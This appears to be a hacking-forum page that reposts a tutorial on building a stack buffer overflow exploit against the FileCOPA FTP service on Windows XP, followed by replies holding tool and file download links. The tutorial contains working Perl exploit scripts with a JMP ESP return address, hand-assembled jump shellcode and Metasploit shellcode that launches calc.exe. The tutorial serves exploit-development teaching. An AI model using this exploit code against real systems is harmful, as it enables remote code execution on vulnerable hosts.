Although OllyUni takes much longer to find the right instruction I prefer using it because it tends to be more accurate. Let's say we chose 0x77dbb497 from user32.rsrc in Windows XP SP1 (English). Next we have to convert that address so it's listed in little endian. For the purposes of our Perl script we would use: $buffer .= "\x97\xb4\xdb\x77"; You'll notice the order of the bits are reversed (for little endian notation). Next we have to figure out where to put our address so it falls within on the EIP exactly. The easiest way to do this (aside from counting the A's in Olly is to just alter the Perl program so that the first have of the overflow payload is A and then list four B's then the second half is C like so: #C:\Perl # # FileCopa FTP Exploit # # By Justin C. Klein Keane <justin@madirish.net> # Last Modified July 17, 2008 # use Net::FTP; $target = "192.168.37.128"; $buffer = "A\x20"; $buffer .= "A" x 254; $buffer .= "B" x 4; $buffer .= "C" x 254; #start the connection $ftp = Net::FTP->new($target, Debug => 0, Timeout => 5) or die "Cannot connect to $host: $@ \n"; $ftp->login("anonymous",'anonymous@nowhere.com') or die "Couldn't log in: $@\n"; $ftp->list($buffer); #clean up $ftp->quit; Make sure Olly has FileCOPA attacked and then fire off this version of the code. You'll notice that the EIP is now overwritten with A's (414141) meaning we have to reduce the number of A's and increase the number of C's. The idea is to get the EIP overwritten with B's (42424242) so we know where to put our new EIP instruction in our payload. You should find the following gets your the right output: #C:\Perl # # FileCopa FTP Exploit # # By Justin C. Klein Keane <justin@madirish.net> # Last Modified July 17, 2008 # use Net::FTP; $target = "192.168.37.128"; $buffer = "A\x20"; $buffer .= "A" x 232; $buffer .= "B" x 4; $buffer .= "C" x 276; #start the connection $ftp = Net::FTP->new($target, Debug => 0, Timeout => 5) or die "Cannot connect to $host: $@"; $ftp->login("anonymous",'anonymous@nowhere.com') or die "Couldn't log in: $@\n"; $ftp->list($buffer); #clean up $ftp->quit; This code will overwrite the EIP with 42424242. Now we can insert our new instruction and see if in fact the program flow jumps to our new location in our payload. Try the code: #C:\Perl # # FileCopa FTP Exploit # # By Justin C. Klein Keane <justin@madirish.net> # Last Modified July 17, 2008 # use Net::FTP; $target = "192.168.37.128"; $buffer = "A\x20"; $buffer .= "A" x 232; $buffer .= "\x97\xb4\xdb\x77"; # JMP ESP $buffer .= "C" x 276; #start the connection $ftp = Net::FTP->new($target, Debug => 0, Timeout => 5) or die "Cannot connect to $host: $@ \nTrying $i"; $ftp->login("anonymous",'anonymous@nowhere.com') or die "Couldn't log in: $@\nTrying $i\n"; $ftp->list($buffer); #clean up $ftp->quit; This should cause a crash. You'll notice, however, that the crash is on an "Illegal instruction" that falls just behind our new JMP ESP instruction in the 0x00B2FE08 range. This indicates we've created a successful jump and the program is continuing execution in our payload. Unfortunately, if you look carefully, you'll see we have a scant 21 bytes of payload in this memory area. What happened to the rest of our payload? Well, if you take a look at ECX you'll see that it holds a value that looks suspiciously like a memory address. By right clicking the ECX and selecting 'Follow in Dump' we can take a look at that area of memory: Looking through this memory range (around 0x0063298C) you'll see the entire contents of our payload. The trick now becomes moving from the 21 bytes of available space we know we can access, into the rest of the payload. It's not important as to why the payload exists in two places in memory except to realize that just because you find payload in one place in memory doesn't mean that it only exists there. FileCOPA, as near as I can tell, is actually parsing in the input and allocating memory for it properly, but then it seems a secondary routine is calling that input and attempting to work with it in an unsafe manner that is causing the buffer overflow. Jumping to the Malicious Payload ----------------------------------- Now that we know our full payload actually exists outside of the memory space that's causing the buffer overflow we can attempt to utilize this extra space. We need to move from the 21 bytes of space available after our JMP ESP into our full payload. Remember that ECX holds an address value roughly equivalent to where we want to jump the program execution. You might first be tempted to simply issue a JMP ECX, but if you examine that memory address you'll see it contains illegal instructions because it occurs before our JMP ESP command and thus would be useless. One strategy is to alter the ECX register value then perform a JMP ECX. This works on Windows 2000, but for some reason the JMP ECX doesn't work on Windows XP (it gets interpreted as a JS or jump short and doesn't reach the target). Let's get started writing our shellcode. Writing shellcode for Windows isn't actually as difficult as it would initially seem. As long as you're not making calls to kernel hooks (like reading and writing) you can write shellcode using NASM on any x86 Linux machine. For our purposes we can use a separated virtual machine running Linux with NASM installed on it. NASM is an assembler that we can use to compile our assembly instructions. We'll then use objdump to dump the opcode from our compiled and linked assembly program. One trick to writing shellcode that will apply across the board to these sorts of exercises is avoiding the use of null bytes (0x00). Because C is copying strings to enable this buffer overflow, the copy will terminate To start with let's edit a file called JmpShell.s and create a some sample code to manipulate the ECX like so: global _start _start: add ecx, 0xffff151 sub ecx, 0xffff001 jmp 0x7739de88 You'll notice I'm jumping to a rather odd address. Actually what we're doing here is that we're utilizing the fact that this code will jump to a memory location equal to the start of the assembly code plus a value. Because the actual address space we want to arrive at (0x0063298C) is actually lower than the address space we have to put our jump shellcode (0x00B2FE08) we can't use this functionality directly. Since we can only move higher in the address space we're going to utilize our old OllyUni DLL trick. Searching through the memory registers as before you can find higher address space that contains the instruction JMP ECX: Once we've identified this space we do a little subtraction to find out how high we need to jump from the start of our assembly to the JMP ECX instruction in kernel32.text at address 0x77ECDCA0. It turns out this value is 0x7739de88, and therefore that's what I'm using in the assembly. So to recap, I'm adjusting the value of ECX so that it points to a usable portion of our payload. Because of the null byte problem I can't just add 0x150 like I want to as this will introduce null bytes. Instead I'm adding 0x00xffff151, then subtracting 0x0ffff001 so that the ECX increments a total of 0x150. This isn't necessarily the best way to do this, or the most clever, but it's expedient and it works. Finally I'm jumping to an address in memory that I know holds the JMP ECX instruction. To compile my shellcode I use NASM and objdump like so (remember, the above code is saved as JmpShell.s): $ nasm -f elf JmpShell.s -o JmpShell.nasm $ objdump -d JmpShell.nasm JmpShell.nasm: file format elf32-i386 Disassembly of section .text: 00000000 <_start>: 0: 81 c1 51 f1 ff 0f add $0xffff151,%ecx 6: 81 e9 01 f0 ff 0f sub $0xffff001,%ecx c: e9 84 de 39 77 jmp 7739de95 <_start+0x7739de95> Now to extract the shellcode all I have to do is pull out the paired opcode values like so: $buffer .= "\x81\xc1\x51\xf1\xff\x0f"; # ADD ECX, 0x0ffff151 $buffer .= "\x81\xe9\x01\xf0\xff\x0f"; # SUB ECX, 0x0ffff151 $buffer .= "\xe9\x84\xde\x39\x77"; #adjusted jump to 0x77ecdca0 Now we've got our jump instructions that will point us into the second half of our payload. Let's go ahead and adjust the payload a little bit so that we include a NOP sled. These are a series of "no operation" commands that gives us a little flexibility in where we land. If we land on a NOP instruction the processor simply won't do anything and increment the EIP and carry out the next command. This will continue until the processor hits our final malicious payload. Adding the Payload ------------------------ To get our final payload let's use the metasploit payload database at http://metasploit.com:55555/PAYLOADS instead of writing our own (finally, an automated portion of this exercise . Since this is more of a learning tutorial we'll use a pretty benign exploit. We're going to fire up the calculator on the remote machine (or calc.exe). We'll use the "Windows Execute Command" payload and the command will be calc.exe. The resulting exploit shellcode looks something like this: # win32_exec - EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com my $shellcode = "\x2b\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe2". "\x61\xf1\x91\x83\xeb\xfc\xe2\xf4\x1e\x89\xb5\x91\xe2\x61\x7a\xd4". "\xde\xea\x8d\x94\x9a\x60\x1e\x1a\xad\x79\x7a\xce\xc2\x60\x1a\xd8". "\x69\x55\x7a\x90\x0c\x50\x31\x08\x4e\xe5\x31\xe5\xe5\xa0\x3b\x9c". "\xe3\xa3\x1a\x65\xd9\x35\xd5\x95\x97\x84\x7a\xce\xc6\x60\x1a\xf7". "\x69\x6d\xba\x1a\xbd\x7d\xf0\x7a\x69\x7d\x7a\x90\x09\xe8\xad\xb5". "\xe6\xa2\xc0\x51\x86\xea\xb1\xa1\x67\xa1\x89\x9d\x69\x21\xfd\x1a". "\x92\x7d\x5c\x1a\x8a\x69\x1a\x98\x69\xe1\x41\x91\xe2\x61\x7a\xf9". "\xde\x3e\xc0\x67\x82\x37\x78\x69\x61\xa1\x8a\xc1\x8a\x91\x7b\x95". "\xbd\x09\x69\x6f\x68\x6f\xa6\x6e\x05\x02\x90\xfd\x81\x4f\x94\xe9". "\x87\x61\xf1\x91"; The Final Exploit -------------------- Adding this code into our exploit we now have the following: #C:\Perl # # FileCopa FTP Exploit # # By Justin C. Klein Keane <justin@madirish.net> # Last Modified July 17, 2008 # use Net::FTP; $target = "192.168.37.128"; # win32_exec - EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com my $shellcode = "\x2b\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe2". "\x61\xf1\x91\x83\xeb\xfc\xe2\xf4\x1e\x89\xb5\x91\xe2\x61\x7a\xd4". "\xde\xea\x8d\x94\x9a\x60\x1e\x1a\xad\x79\x7a\xce\xc2\x60\x1a\xd8". "\x69\x55\x7a\x90\x0c\x50\x31\x08\x4e\xe5\x31\xe5\xe5\xa0\x3b\x9c". "\xe3\xa3\x1a\x65\xd9\x35\xd5\x95\x97\x84\x7a\xce\xc6\x60\x1a\xf7". "\x69\x6d\xba\x1a\xbd\x7d\xf0\x7a\x69\x7d\x7a\x90\x09\xe8\xad\xb5". "\xe6\xa2\xc0\x51\x86\xea\xb1\xa1\x67\xa1\x89\x9d\x69\x21\xfd\x1a". "\x92\x7d\x5c\x1a\x8a\x69\x1a\x98\x69\xe1\x41\x91\xe2\x61\x7a\xf9". "\xde\x3e\xc0\x67\x82\x37\x78\x69\x61\xa1\x8a\xc1\x8a\x91\x7b\x95". "\xbd\x09\x69\x6f\x68\x6f\xa6\x6e\x05\x02\x90\xfd\x81\x4f\x94\xe9". "\x87\x61\xf1\x91"; $buffer = "A\x20"; $buffer .= "A" x 232; #just some garbage $buffer .= "\x97\xb4\xdb\x77"; # JMP ESP $buffer .= "\x90"; # spacer to put shellcode into ESP range $buffer .= "\x81\xc1\x51\xf1\xff\x0f"; # ADD ECX, 0x0ffff151 $buffer .= "\x81\xe9\x01\xf0\xff\x0f"; # SUB ECX, 0x0ffff151 $buffer .= "\xe9\x84\xde\x39\x77"; #adjusted jump to 0x77ecdca0 $buffer .= "\x90" x 32; $buffer .= $shellcode; #add the evil #start the connection $ftp = Net::FTP->new($target, Debug => 0, Timeout => 5) or die "Cannot connect to $host: $@ \n"; $ftp->login("anonymous",'anonymous@nowhere.com') or die "Couldn't log in: $@\n"; $ftp->list($buffer) or die "Error with list: $@\n"; #clean up $ftp->quit; When you fire this exploit code against the target you'll notice that filecpnt.exe dies and calc.exe appears in the list of running processes. And with that you're done! Hopefully I've helped to demystify some of the process involved in writing a buffer overflow against a vulnerable windows service. Enjoy! Copyright © Justin C. Klein Keane. Unauthorized reproduction is a violation of US and international law. Source : Mad Irish :: Writing Windows Buffer Overflows

Hello Mr.neox are this course completed in lesson => 4 or you will continue it im liked your tuts very much and i hope you explanning Aslr & Dep and some basic about heap overflow you are good Teacher sorry 4 my bad En and Thanks Again

thanks ZeroCold good tut dex2jar dex2jar-0.0.9.15.zip - dex2jar - dex2jar-0.0.9.15 - Tools to work with android .dex and java .class files - Google Project Hosting source : dex2jar - Tools to work with android .dex and java .class files - Google Project Hosting jd-gui-0.3.3.windows http://innlab.googlecode.com/files/jd-gui-0.3.3.windows.zip source : jd-gui-0.3.3.windows.zip - innlab - jd-gui-0.3.3.windows - Android Demo - Google Project Hosting best regrads

This a new link without password : - http://www.sendspace.com/file/0jrqmz File Size: 39.24 MB

#!/usr/bin/python import sys filename = Readme.txt file = open(filename, "w") buffer = "Special Thanks Mr.neox " * 500000 file.write(buffer) file.close() ======= Really , im not understand romanian , but i understand alot of info & Triks from your tranning this is the most huge one Thanks neox

yeh .. thanks bodostyle

Password : master-hackers.info pls add it at first post Enjoy